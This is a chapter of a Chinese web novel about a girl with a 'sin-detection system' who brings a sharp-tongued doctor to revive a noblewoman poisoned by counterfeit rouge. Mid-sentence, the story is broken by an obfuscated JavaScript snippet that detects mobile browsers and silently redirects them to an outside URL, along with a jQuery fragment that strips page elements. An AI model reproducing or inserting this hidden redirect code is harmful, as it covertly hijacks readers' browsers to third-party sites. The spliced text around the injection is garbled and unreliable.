上一次检测时罪恶度还只有1,现在增长到了2,难不成小贩卖的胭脂真的和王小姐的死因有关?
但没有别的证据,光凭这个来判断过于草率。
尹清露灵机一动:“系统,能不能判定一下那盒胭脂的制作者……不对,应该是命令和指挥假胭脂制作的人,能不能判定他的罪恶值是多少?”
【清露,如果判定对象在你的脑海中不是唯一的、指定的,系统将无法进行判定和攻击。】
“好吧。”
不能利用系统作弊。
王家夫人肝肠寸断的哭声从王小姐的闺阁中传出,吕芝心头揪起,快步先进了屋。
尹清露正要跟上,却听附近传来一声清晰的呼唤,夹在一片嘈杂中,似直接进入了她耳朵里般,这莫非就是传说中武功高手都会的“传音入密”?
脚下刹住,尹清露循声转头望去,只见王小姐院落那堵她们早晨才爬过的熟悉的墙上,冒出半颗熟悉的脑袋来——是去而复返的侍从哥。
讲礼貌的主子有讲礼貌的侍从,侍从哥秉持着非礼勿视的原则,回避开视线,只是道“尹姑娘,劳烦您接应此人”,便将一人一箱从墙上抛了过来。
数米开外的尹清露:“??我靠?”
那道身影掠过树梢飞进院落,如此突然,她紧急狂奔上前,脚下几乎擦出火花,才堪堪将人扶住。
……靠谱的主子也会有不靠谱的侍从。
尹清露低头看,不禁汗颜,幸好她有点身手,一般人会把成年男性像个东西般扔下来,再让一个小姑娘接住吗。
成年男性晕晕乎乎地站稳,没提药箱的那只手捂着脑袋,清冽的嗓音传来,内容却不堪入耳:“你**,贺铮怎么教你规矩的,你俩还是这么****,等会再找你俩算账!谁要死了,在哪呢快带我去……”
墙上的侍从哥被骂很淡定,且不回应,他对尹清露介绍:“尹姑娘,此人是公子的客人,医术了得,听闻王小姐出事愿意出手诊治,您可放心带他进去瞧瞧。”
尹清露比了个ok,不管侍从哥有没有看懂,也不管王家大宅已经开始披麻哭丧,她一把提起还在找方向的男人,创造奇迹吧,就决定是你了神医!
王小姐的闺阁内充斥着浓郁的酸苦药味,桌椅装饰倒了一地,被简单扫到一边,留出条能通人的路来。
尹清露抓住门口一侍女:“将你们小姐昨日买的胭脂拿出来。”
床榻上王小姐面庞红肿溃烂,其它露在外面的皮肤如死灰般了无生气。
王家夫人紧紧抱着女儿,发髻凌乱,看那神情已经有些疯癫:“大夫、你说你是大夫?我女儿已经没气儿了,你现在来能做什么?!”
“死没死还不一定呢,起开。”神医皱眉,毫不温柔地推了一把,结果力气太弱没推动,还被王夫人一袖子挥倒在地,结结实实摔了个屁股蹲儿。
尹清露:“……”
她上前拉住王夫人胳膊,将神医拽起来,真操心。
给吕芝使了个眼色,吕芝意会,她相信尹清露,于是开口劝导:“王姨,您就让他看看吧。”
众人合力下,神医总算是看上病了,他搭上王小姐手腕把脉,又在其面庞、脖颈、身体几处触碰按压。
尹清露递上侍女给的胭脂:“你看看是不是这个导致的。”
神医接过嗅闻,居然还挖了小一块放入口中,咂巴咂巴嘴,作出评价:“奸商。”
旁边早晨她们见过的大夫也在,他已经做出了王小姐离世的诊断,见此情形忍不住道:“王小姐已然病逝,你这莫要玷污遗体……!”
神医冷笑打断他的话:“庸医。”
又吩咐:“去拿纸笔。”
一机灵侍女急忙应声离开。闺阁内顿时骚动,王夫人难以置信地道:“神、神医,我女儿是不是还有救?”
“起开。”
这次王夫人起得很开,神医打开药箱,两排银针在床榻上平铺开来,他眼神一扫,锁定住看起来动作很利索的尹清露:“你,来把她上衣脱了。”
气势很足,可惜选错人了,精准选到了这件房子里唯一不理解古代豪华衣服构造的尹清露。
遂吕芝接任。
神医从药箱中取出一连串看起来就有毒的花花草草,紫色绿色的汁水顺着银针渗入王小姐体内,期间又开了药方让侍女抓药来热敷,指挥人帮助王小姐四肢屈伸……一通忙活下来,王小姐竟然真的重新恢复了呼吸!
王夫人和王老爷抱着女儿喜极而泣,王夫人膝盖一软就要给神医跪下,神医看也未看,只专注又写了几个方子。
王老爷迟疑地道:“神医,那您看我女儿的脸还能恢复吗?她平日最爱打扮,我担心她醒来后看见面容有损,再寻短见啊!”
神医无语翻白眼,将纸张甩干扔给他:“哪些方子治脸哪些方子养身,怎么熬怎么用上面都写清楚了。”
“谢谢神医!谢谢神医!”
“我还要在仁乐镇待一些时日,若是还有事,可来南风馆寻我。不过你们只要按药方走,不会再有问题。”
南风馆。
人不可貌相,神医竟然好男风、还久居窑子,屋内顿时寂静。王老爷一噎,王夫人哭声都卡住了,“那、那就多谢神医了。”
神医不读空气,也不管旁人眼光,他眼神一扫,这次选对了这件房子里唯一敢进、也唯一能进南风馆三楼的尹清露,“胭脂拿上,送我回去。”
吕芝主动留下帮忙看顾王小姐,让尹清露和神医可以乘她的马车先行离开。
侍从哥在王家宅院外等候,尹清露本想先去跟孟奶奶说一声,却被神医抓住不放,神医一脚踢开侍从哥,让他去替尹清露解释。
尹清露也准备替王小姐向折隽公子道声谢,毕竟神医是折隽公子的客人,于是顺势一起回了南风馆。
吕芝的马车上,尹清露这才有空静下来仔细观察这位真真“从天而降”的神医。
他约莫正常男子的身形,不高也不胖,面容清秀,一双凤眸狭长斜挑,看起来很是不好惹。一身衣衫微褶、风尘仆仆,想必是远途而来,才到仁乐镇。
估算时间,午后她在南风馆三楼喝了杯茶被赶走后,折隽公子就接待上神医了。
神医本在闭目养神,感受到视线,懒洋洋掀开眼皮:“看什么看,没礼貌。”
身怀技艺不是说话冲的理由,尹清露微笑接招:“没礼貌的另有其人。”
神医却点点头,认同她的话:“是的,偌大一燕国,最没礼貌的人是贺铮。”
不待尹清露询问,神医一个鲤鱼打挺复活:“你是贺铮什么人?”
“贺铮是谁?”
神医愣了下,鄙夷地道:“哦,就是贺折隽,此人惯爱装模作样。”
贺折隽?是说折隽公子?
原来他本名贺铮。
若说最没礼貌的人是折隽公子,尹清露绝不赞成,折隽公子帮助她颇多,虽然嘴硬,心眼可是实打实的好。
她这句话很诚恳:“实话讲,我觉得我们两个都比他没礼貌。”
神医嗤笑一声,撸起袖子:“我好好给你说道说道。”
就这样一路无营养的对话,进入南风馆、上了楼梯还在进行。
折隽公子——或者说贺铮,他披着月牙白轻便长衫,不知是被吵到、还是专门出来迎接他们,此刻他立于三楼的栏杆后,静静望下来。
无人在意他,因为对话已经进入白热化阶段。
“贺铮帮我找工作!”
“贺铮掏蚂蚁窝!”
“贺铮挑选化妆品!”
“贺铮爱玩稀泥!”
“贺铮扶老奶奶过马路!”
“贺铮偷偷拔别人种的花!”
没那么有杀伤力的诋毁与没那么有说服力的赞美中,贺铮很平静地问:“你们在干什么?”
楼梯上的两人同时抬头。
神医多少年没有跟人如此高频率、快节奏地互呛过了,棋逢对手,只恨平时疏于修炼,氧气不够用导致脸都憋红了。
他狞笑道:“贺铮啊,你可真能伪装,看把人家小姑娘哄骗的,夸起你来话都不重样!”
尹清露勤于修炼,于是脸不红气不喘:“我只是在陈述事实,这叫夸赞吗?我还没发力呢。”
贺铮可是见识过她发力的真功夫,生怕她再说出一些类似“掌管胭脂的神”的离谱话来,截住话茬:“行了,都进屋。”
房门关上,舌斗仍在继续。
神医又想到一条:“贺铮翻墙逃学!”
尹清露立刻接招,张口就来:“贺铮传承手工艺术,弘扬传统文化!”
“他那是为了……!哎呦我服了,你可真能给他戴高帽!”
贺铮端起茶杯饮了半盏,不禁反思,这两人从自己这儿离开的时候看起来都还是正常的,怎么碰到一起回来后就成这样了。
尤其是尹清露,两个时辰前还在甜甜地叫公子,此刻嗷嗷喊着他大名。贺铮说不上来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449581|168545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胸腔中那股类似遗憾的情绪是什么,但是明确知道罪魁祸首是谁,于是放下茶盏,一把拎住神医后领,加入战场:
“尹姑娘,忘了给你介绍,这位叫白翠梅。”
神医登时发出尖锐爆鸣声,尹清露眨眨眼,以为自己听错了。
贺铮仍是那副淡淡的神情,吐出来的话语却对神医很残忍:“翠代表美丽优雅,梅代表坚强纯洁,此名寄托了白家长辈的美好期许,算命大师说用此名者将来必然显赫富贵,一人之下万人之上,皇后的命数。”
尹清露似乎看见了折隽公子头顶冒出的狐狸耳朵,以及身后散漫甩动的大尾巴。
嗯,坏啦吧唧的。
神医挣扎,但力气显然打不过贺铮,纹丝不动且欲哭无泪:“贺铮,我恨你!我就说他没礼貌吧……你不准笑!!”
尹清露忍俊不禁,抬手抱拳:“翠梅神医,失敬失敬。”
“我这有服用后会失忆的药丸,你过来……”
尹清露竖起一根手指在他面前贱嗖嗖地摇了摇,啧啧道:“翠梅神医,用女性的名字,你无需自卑。”
这场战斗以尹清露和贺铮联手击败白神医结束。
白神医坐在椅子上阴暗磨牙,目光幽怨。
言归正传,尹清露从兜里拿出那盒胭脂放在桌子上:“翠梅神医,请细说这胭脂有什么问题。”
“你换个称呼。”
“ok,白神医。”
白神医不情不愿地道:“里面有朱砂,全是杂质,花料也没过滤彻底,五毒俱全。本身只是慢性毒,可惜王小姐对其中某样东西过敏,才遭了这回罪。”
想起那味道,他倒了杯茶一饮而尽,“难吃啊,还是贺铮的胭脂味道好。”
贺铮沾起一抹胭脂,指尖摩挲轻碾,用帕子慢条斯理地擦干净手,评价:“拙劣不堪。”
真的是这盒假胭脂导致的。
尹清露将昨日河边柳下小摊贩的事情简明扼要地讲了,贺铮却不怎么在意:“仿制的事情不是第一回了。”
言下之意是懒得管。
尹清露招招手让两人凑过来,提醒道:“你们看这盒胭脂,有什么发现吗?”
白神医:“烂。”
贺铮:“嗯。”
尹清露推开白神医的脑袋:“这盒子、这样式明显是在故意高仿折隽公子的胭脂!假货就像蟑螂,当你发现一个的时候,说明已经有一堆了。都说开模成本高,搁古代道理也是一样的,花如此大功夫难道只是为了做这一盒吗?显然是有流水线啊!”
她始终认为小贩不是制作胭脂的人,并且隐约觉得这背后有更大的产业链在。
白神医说话不客气:“大惊小怪,万一这东西只是流出来的半成品呢?恰好被小贩得到拿出来高价售卖。那流水线要是已经改进了,我们还去追查,不是破坏人家生意吗?”
“批量仿制的事情也不是第一回。每隔一些时日镇上都会有新胭脂入市,孰优孰劣买家自有判断。”贺峥对此也不作响应,语气依旧没有起伏,“不必为此忧虑,你该去胭脂铺上工了。”
白神医的话确实有道理,大批量假货流入市场,大家就都知道这不可能全部出自折隽公子人工制作,不会像王小姐一样轻易被骗了。而且如若大货还是劣质有毒的产品,再打击也有证据。
更何况正主对自己产品自信十足,对盗版不屑一顾、漠然置之,那她也就不操心了。
尹清露想了想,点点头:“行吧,我先上班去啦,拜拜。”
尹清露走后,房间内一时陷入寂静。
贺铮倚在窗边,日光穿过窗户缝隙在他脸侧划出一条细长的光影,发丝间水滴形状的银制耳环折射出盈盈光亮。他眼底没什么情绪,视线落在外面的街道,不多时,一身麻色衣裙的少女走出南风馆,晃悠着汇入人群。
他问:“如何?”
白神医吊儿郎当地把弄手中茶杯:“你查的就是她?”
“抖我底细的时候想不起来我在查她?”
“我说你姓贺,她可一点反应都没有。”白神医摆摆手,“不过看她言行举止确实不像燕国人,莫名其妙的,什么来历?”
“东岭州、仁乐镇、清露村人,就在附近山上。十六年从未离开这地界,土生土长的本地人。”
“嚯……这么老实的身份?我可不信一个山野村姑有这等身手和胆识。”
尹清露的身影消失在街道尽头,贺铮关上木窗:
“我也不信。”